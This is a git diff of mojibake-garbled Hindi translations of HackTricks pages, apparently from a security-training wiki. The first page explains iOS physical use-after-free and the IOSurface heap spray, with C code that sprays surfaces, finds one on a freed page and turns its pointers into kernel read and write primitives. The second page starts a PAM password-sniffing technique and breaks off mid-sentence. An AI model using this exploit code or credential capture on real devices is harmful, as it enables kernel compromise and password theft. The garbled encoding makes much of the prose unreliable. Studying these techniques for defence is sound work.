рд╕рдмрд╕реЗр╕ер╕░р╣Ар╕нр╕╡р╕вр╕Ф рд╕реНрддрд░ рд╣реИ, рдЬрд╣рд╛рдБ рд╣рд░ entry рдПрдХ single **4 KB** рдореЗрдореЛрд░реА рдкреЗрдЬ рдХреЛ рдореИрдк рдХрд░рддреА рд╣реИред +* рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ L2 entry рдХрд┐рд╕реА L3 table рдХреА рдУрд░ pointer рдХрд░ рд╕рдХрддреА рд╣реИред + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)**: +* page table рдХреА рдХреБрдЫ entries рд╕реАрдзреЗ рдХрд┐рд╕реА рд╡рд░реНрдЪреБрдЕрд▓ рдПрдбреНрд░реЗрд╕ рд░реЗрдВрдЬ рдХреЛ contiguous physical address рд░реЗрдВрдЬ рд╕реЗ рдореИрдк рдХрд░рддреА рд╣реИрдВ (рдПрдХ рддрд░рд╣ рдХрд╛ рд╢реЙрд░реНрдЯрдХрдЯ)ред +* **Pointer to Child Page Table**: +* рдпрджрд┐ рдЕрдзрд┐рдХ рд╕реВрдХреНрд╖реНрдо рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЬрд╝рд░реВрд░рдд рд╣реЛ, рддреЛ рдПрдХ рд╕реНрддрд░ рдХреА entry (рдЬреИрд╕реЗ L1) рдЕрдЧрд▓реЗ рд╕реНрддрд░ рдореЗрдВ рдХрд┐рд╕реА **child page table** рдХреА рдУрд░ pointer рдХрд░ рд╕рдХрддреА рд╣реИ (рдЬреИрд╕реЗ L2)ред + +#### Example: Mapping a Virtual Address + +рдорд╛рди рд▓реАрдЬрд┐рдП рдЖрдк virtual address **0x1000000000** рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ: + +1. **L1 Table**: +* рдХрд░реНрдиреЗрд▓ рдЙрд╕ virtual address рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд L1 page table entry рдХреЛ рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЙрд╕рдореЗрдВ **pointer to an L2 page table** рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕ L2 table рдкрд░ рдЬрд╛рддрд╛ рд╣реИред +2. **L2 Table**: +* рдХрд░реНрдиреЗрд▓ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдореИрдкрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП L2 page table рдХреЛ рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЗрд╕ entry рдореЗрдВ **pointer to an L3 page table** рд╣реИ, рддреЛ рд╡рд╣ рд╡рд╣рд╛рдВ рдЬрд╛рддрд╛ рд╣реИред +3. **L3 Table**: +* рдХрд░реНрдиреЗрд▓ рдЕрдВрддрд┐рдо L3 entry рдХреЛ рджреЗрдЦрддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдореЗрдореЛрд░реА рдкреЗрдЬ рдХреЗ **physical address** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИред + +#### Example of Address Mapping + +рдпрджрд┐ рдЖрдк L2 table рдХреЗ рдкрд╣рд▓реЗ index рдореЗрдВ physical address **0x800004000** рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рддреЛ: + +* Virtual addresses **0x1000000000** рд╕реЗ **0x1002000000** рддрдХ physical addresses **0x800004000** рд╕реЗ **0x802004000** рддрдХ рдореИрдк рд╣реЛрдВрдЧреЗред +* рдпрд╣ L2 рд╕реНрддрд░ рдкрд░ рдПрдХ **block mapping** рд╣реИред + +рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдпрджрд┐ L2 entry рдХрд┐рд╕реА L3 table рдХреА рдУрд░ pointer рдХрд░рддреА рд╣реИ: + +* рддреЛ рд╡рд░реНрдЪреБрдЕрд▓ рд░реЗрдВрдЬ **0x1000000000 -> 0x1002000000** рдХреЗ рд╣рд░ 4 KB рдкреЗрдЬ рдХреЛ L3 table рдХреА рд╡реНрдпрдХреНрддрд┐рдЧрдд entries рдореИрдк рдХрд░реЗрдВрдЧреАред + +### Physical use-after-free + +рдПрдХ **physical use-after-free (UAF)** рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм: + +1. рдХреЛрдИ process рдХреБрдЫ рдореЗрдореЛрд░реА **readable рдФрд░ writable** рдХреЗ рд░реВрдк рдореЗрдВ **allocate** рдХрд░рддрд╛ рд╣реИред +2. рдЙрд╕ рдореЗрдореЛрд░реА рдХреЛ process рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдПрдХ specific physical address рд╕реЗ рдореИрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **page tables** рдЕрдкрдбреЗрдЯ рд╣реЛрддреЗ рд╣реИрдВред +3. Process рдЙрд╕ рдореЗрдореЛрд░реА рдХреЛ **deallocate** (free) рдХрд░ рджреЗрддрд╛ рд╣реИред +4. рд▓реЗрдХрд┐рди рдХрд┐рд╕реА **рдмрдЧ** рдХреЗ рдХрд╛рд░рдг, рдХрд░реНрдиреЗрд▓ **page tables рд╕реЗ mapping рд╣рдЯрд╛рдирд╛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИ**, рдЬрдмрдХрд┐ рд╕рдВрдмрдВрдзрд┐рдд physical memory рдХреЛ free рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рд░реНрдХ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛрддрд╛ рд╣реИред +5. рдХрд░реНрдиреЗрд▓ рдлрд┐рд░ рдЗрд╕ "freed" physical memory рдХреЛ рдЕрдиреНрдп рдкреНрд░рдпреЛрдЬрдиреЛрдВ рдХреЗ рд▓рд┐рдП **reallocate** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ **kernel data**ред +6. рдЪреВрдВрдХрд┐ mapping рдирд╣реАрдВ рд╣рдЯрд╛рдИ рдЧрдИ рдереА, process рдЕрднреА рднреА рдЗрд╕ physical memory рдХреЛ **read рдФрд░ write** рдХрд░ рд╕рдХрддрд╛ рд╣реИред + +рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ process **kernel memory рдХреЗ рдкреЗрдЬреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ** рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдпрд╛ рд╕рдВрд░рдЪрдирд╛рдПрдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ attacker рдХреЛ **kernel memory рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝** рдХрд░рдиреЗ рдХрд╛ рдореМрдХрд╛ рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИред + +### IOSurface Heap Spray + +рдХреНрдпреЛрдВрдХрд┐ attacker рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдХрд┐ рдХрд┐рд╕ specific kernel рдкреЗрдЬ рдХреЛ freed memory рдХреЗ рд▓рд┐рдП allocate рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд╡реЗ рдПрдХ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ **heap spray**: + +1. attacker kernel memory рдореЗрдВ рдХрдИ **IOSurface objects** рдмрдирд╛рддрд╛ рд╣реИред +2. рдкреНрд░рддреНрдпреЗрдХ IOSurface object рдЕрдкрдиреА рдХрд┐рд╕реА field рдореЗрдВ рдПрдХ **magic value** рд░рдЦрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрд╣рдЪрд╛рдирдирд╛ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред +3. рд╡реЗ freed рдкреЗрдЬреЛрдВ рдХреЛ **scan** рдХрд░рддреЗ рд╣реИрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ IOSurface object рдХрд┐рд╕реА freed рдкреЗрдЬ рдкрд░ рдЖ рдЧрдпрд╛ рд╣реИред +4. рдЬрдм рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА freed рдкреЗрдЬ рдкрд░ IOSurface object рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдЗрд╕реЗ kernel memory рдХреЛ **read рдФрд░ write** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реЗрддреБ рджреЗрдЦреЗрдВ: [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +> [!TIP] +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ iOS 16+ (A12+) рдбрд┐рд╡рд╛рдЗрд╕ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ mitigations (рдЬреИрд╕реЗ PPL рдпрд╛ SPTM) рд▓рд╛рддреЗ рд╣реИрдВ рдЬреЛ physical UAF рддрдХрдиреАрдХреЛрдВ рдХреЛ рдХрд╛рдлреА рдХрдо рдкреНрд░рднрд╛рд╡реА рдмрдирд╛рддреЗ рд╣реИрдВред +> PPL рдЙрди рдкреЗрдЬреЛрдВ рдкрд░ рд╕рдЦреНрдд MMU protections рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ рдЬреЛ code signing, entitlements, рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ kernel рдбреЗрдЯрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВ, рддреЛ рднрд▓реЗ рд╣реА рдХреЛрдИ рдкреЗрдЬ reuse рд╣реЛ рдЬрд╛рдП, userland рдпрд╛ compromised kernel code рд╕реЗ PPL-protected рдкреЗрдЬреЛрдВ рдкрд░ writes рд░реЛрдХреЗ рдЬрд╛рддреЗ рд╣реИрдВред +> Secure Page Table Monitor (SPTM) PPL рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рдФрд░ page table updates рдХреЛ рднреА рдордЬрдмреВрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ privileges рд╡рд╛рд▓реЗ kernel code рджреНрд╡рд╛рд░рд╛ freed рдкреЗрдЬреЛрдВ рдХреЛ рдЪреБрдкрдХреЗ рд╕реЗ remap рдпрд╛ mappings рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХреЗ рдмрд┐рдирд╛ secure checks рдХреЗред +> KTRR (Kernel Text Read-Only Region) рдмреВрдЯ рдХреЗ рдмрд╛рдж kernel рдХреЗ code рд╕реЗрдХреНрд╢рди рдХреЛ read-only рд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИред рдпрд╣ runtime рдХреЗ рджреМрд░рд╛рди kernel code рдореЗрдВ рдХрд┐рд╕реА рднреА рдкрд░рд┐рд╡рд░реНрддрди рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ, рдЬреЛ physical UAF exploits рдХрд╛ рдПрдХ рдкреНрд░рдореБрдЦ attack vector рд╣реЛрддрд╛ рд╣реИред +> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, `IOSurface` allocations рдЕрдм рдХрдо predictable рд╣реИрдВ рдФрд░ user-accessible regions рдореЗрдВ map рдХрд░рдирд╛ рдХрдард┐рди рд╣реИ, рдЬрд┐рд╕рд╕реЗ тАЬmagic value scanningтАЭ рдЯреНрд░рд┐рдХ рдХрдо рднрд░реЛрд╕реЗрдордВрдж рд╣реЛ рдЬрд╛рддреА рд╣реИред рдФрд░ `IOSurface` рдЕрдм entitlements рдФрд░ sandbox restrictions рд╕реЗ guarded рд╣реИред + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: attacker рдХрдИ IOSurface objects рдмрдирд╛рддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ ("magic value") рд╣реЛрддрд╛ рд╣реИред +2. **Scan Freed Pages**: рд╡реЗ рдпрд╣ рдЪреЗрдХ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ object рдХрд┐рд╕реА freed рдкреЗрдЬ рдкрд░ allocate рд╣реБрдЖ рд╣реИред +3. **Read/Write Kernel Memory**: IOSurface object рдХреА fields рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХрд░рдХреЗ рд╡реЗ kernel memory рдореЗрдВ **arbitrary reads рдФрд░ writes** рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд▓реЗрддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ рд╡реЗ рдХрд░ рдкрд╛рддреЗ рд╣реИрдВ: +* рдПрдХ field рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ kernel memory рдореЗрдВ рдХрд┐рд╕реА рднреА 32-bit рдорд╛рди рдХреЛ **read** рдХрд░рдирд╛ред +* рджреВрд╕рд░реЗ field рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ 64-bit рдорд╛рди **write** рдХрд░рдирд╛, рдЬрд┐рд╕рд╕реЗ рд╕реНрдерд┐рд░ **kernel read/write primitive** рдорд┐рд▓рддреА рд╣реИред + +Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +рдПрдХ рдореБрдХреНрдд рднреМрддрд┐рдХ рдкреГрд╖реНрда рдореЗрдВ **`IOSurface`** рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдЦреЛрдЬреЗрдВ: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### IOSurface рдХреЗ рд╕рд╛рде Kernel Read/Write рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ + +Kernel memory рдореЗрдВ рдПрдХ IOSurface object рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдорд┐рд▓рдиреЗ рдХреЗ рдмрд╛рдж (рдЬреЛ userspace рд╕реЗ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп freed physical page рдкрд░ mapped рд╣реЛрддрд╛ рд╣реИ), рд╣рдо рдЗрд╕реЗ arbitrary kernel read рдФрд░ write operations рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +**IOSurface рдореЗрдВ рдореБрдЦреНрдп рдлреАрд▓реНрдб** + +IOSurface object рдореЗрдВ рджреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлреАрд▓реНрдб рд╣реИрдВ: + +1. **Use Count Pointer**: рдПрдХ **32-bit read** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +2. **Indexed Timestamp Pointer**: рдПрдХ **64-bit write** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред + +рдЗрди pointers рдХреЛ overwrite рдХрд░рдХреЗ рд╣рдо рдЗрдиреНрд╣реЗрдВ kernel memory рдХреЗ arbitrary addresses рдкрд░ redirect рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ read/write рдХреНрд╖рдорддрд╛рдПрдБ рд╕рдХреНрд╖рдо рд╣реЛ рдЬрд╛рддреА рд╣реИрдВред + +#### 32-Bit Kernel Read + +рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП: + +1. Overwrite the **use count pointer** рддрд╛рдХрд┐ рд╡рд╣ target address minus 0x14-рдмрд╛рдЗрдЯ offset рдХреЛ point рдХрд░реЗред +2. рдЙрд╕ address рдкрд░ рдорд╛рди рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП `get_use_count` method рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64-Bit Kernel Write + +рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП: + +1. **indexed timestamp pointer** рдХреЛ рд▓рдХреНрд╖рд┐рдд рдкрддреЗ рдкрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВред +2. `set_indexed_timestamp` method рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ 64-bit рдорд╛рди рд▓рд┐рдЦреЗрдВред +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Exploit Flow Recap + +1. **Trigger Physical Use-After-Free**: Free pages рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛ рдЬрд╛рддреА рд╣реИрдВред +2. **Spray IOSurface Objects**: kernel memory рдореЗрдВ рдПрдХ unique "magic value" рдХреЗ рд╕рд╛рде рдХрдИ IOSurface objects allocate рдХрд░реЗрдВред +3. **Identify Accessible IOSurface**: рдЕрдкрдиреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд freed page рдкрд░ рдореМрдЬреВрдж IOSurface рдХреЛ рдкрд╣рдЪрд╛рдиреЗрдВред +4. **Abuse Use-After-Free**: IOSurface object рдореЗрдВ pointers рдХреЛ modify рдХрд░реЗрдВ рддрд╛рдХрд┐ IOSurface methods рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ arbitrary **kernel read/write** рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХреЗрдВред + +рдЗрди primitives рдХреЗ рд╕рд╛рде, exploit рдирд┐рдпрдВрддреНрд░рд┐рдд **32-bit reads** рдФрд░ **64-bit writes** kernel memory рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЖрдЧреЗ рдХреЗ jailbreak рдЪрд░рдгреЛрдВ рдореЗрдВ рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ read/write primitives рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдкрдбрд╝ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛., PPL on newer arm64e devices). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 227cc1a3d..863a58944 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,23 +4,22 @@ ## Sniffing Logon Passwords with PAM -рдЖрдЗрдП рдПрдХ PAM рдореЙрдбреНрдпреВрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣рд░ рдкрд╛рд╕рд╡рд░реНрдб рд▓реЙрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ PAM рдХреНрдпрд╛ рд╣реИ рддреЛ рджреЗрдЦреЗрдВ: - +рдЖрдЗрдП рдПрдХ PAM рдореЙрдбреНрдпреВрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рдЬреЛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ login рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣рд░ password рд▓реЙрдЧ рдХрд░реЗред рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ PAM рдХреНрдпрд╛ рд╣реИ рддреЛ рджреЗрдЦреЗрдВ: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) рджреЗрдЦреЗрдВред** рдпрд╣ рд╕рд┐рд░реНрдл рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. рдпрд╣ рдХреЗрд╡рд▓ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ: -**рддрдХрдиреАрдХ рдХрд╛ рдЕрд╡рд▓реЛрдХрди:** -Pluggable Authentication Modules (PAM) Unix-based systems рдкрд░ authentication рдкреНрд░рдмрдВрдзрди рдореЗрдВ рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпреЗ login рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЧрд▓рдд рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛрдиреЗ рдкрд░ рдЬреЛрдЦрд┐рдо рднреА рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╕рд╛рд░рд╛рдВрд╢ PAM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ login credentials рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреА рдПрдХ рддрдХрдиреАрдХ рдФрд░ рдЙрд╕рдХреЗ рдирд┐рд╡рд╛рд░рдг рд░рдгрдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдЦрд╛рдХрд╛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред +**Technique Overview:** +Pluggable Authentication Modules (PAM) Unix-рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдкрд░ authentication рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпреЗ login рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рджреБрд░реБрдкрдпреЛрдЧ рд╣реЛрдиреЗ рдкрд░ рдЬреЛрдЦрд┐рдо рднреА рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╕рд╛рд░рд╛рдВрд╢ PAM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ login credentials рдХреЛ capture рдХрд░рдиреЗ рдХреА рдПрдХ technique рдФрд░ рд╕рд╛рде рдореЗрдВ mitigation strategies рдХреЛ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИред -**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛:** +**Capturing Credentials:** -- рдПрдХ bash рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд╛рдо `toomanysecrets.sh` рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ рдЬреЛ рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд▓реЙрдЧ рдХрд░рддреА рд╣реИ, рддрд╛рд░реАрдЦ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо (`$PAM_USER`), рдкрд╛рд╕рд╡рд░реНрдб (stdin рдХреЗ рдЬрд░рд┐рдП), рдФрд░ рд░рд┐рдореЛрдЯ рд╣реЛрд╕реНрдЯ IP (`$PAM_RHOST`) рдХреЛ `/var/log/toomanysecrets.log` рдореЗрдВ рджрд░реНрдЬ рдХрд░рддреА рд╣реИред -- рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ executable рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ `pam_exec.so` рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ PAM рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди (`common-auth`) рдореЗрдВ рдПрдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╢рд╛рдВрддрд┐ рд╕реЗ рдЪрд▓рд╛рдиреЗ рдФрд░ authentication token рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рдХрд▓реНрдк рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред -- рдпрд╣ рддрд░реАрдХрд╛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ compromised Linux host рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдХрд░ credentials рдХреЛ рдЧреБрдкреНрдд рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- рдПрдХ bash 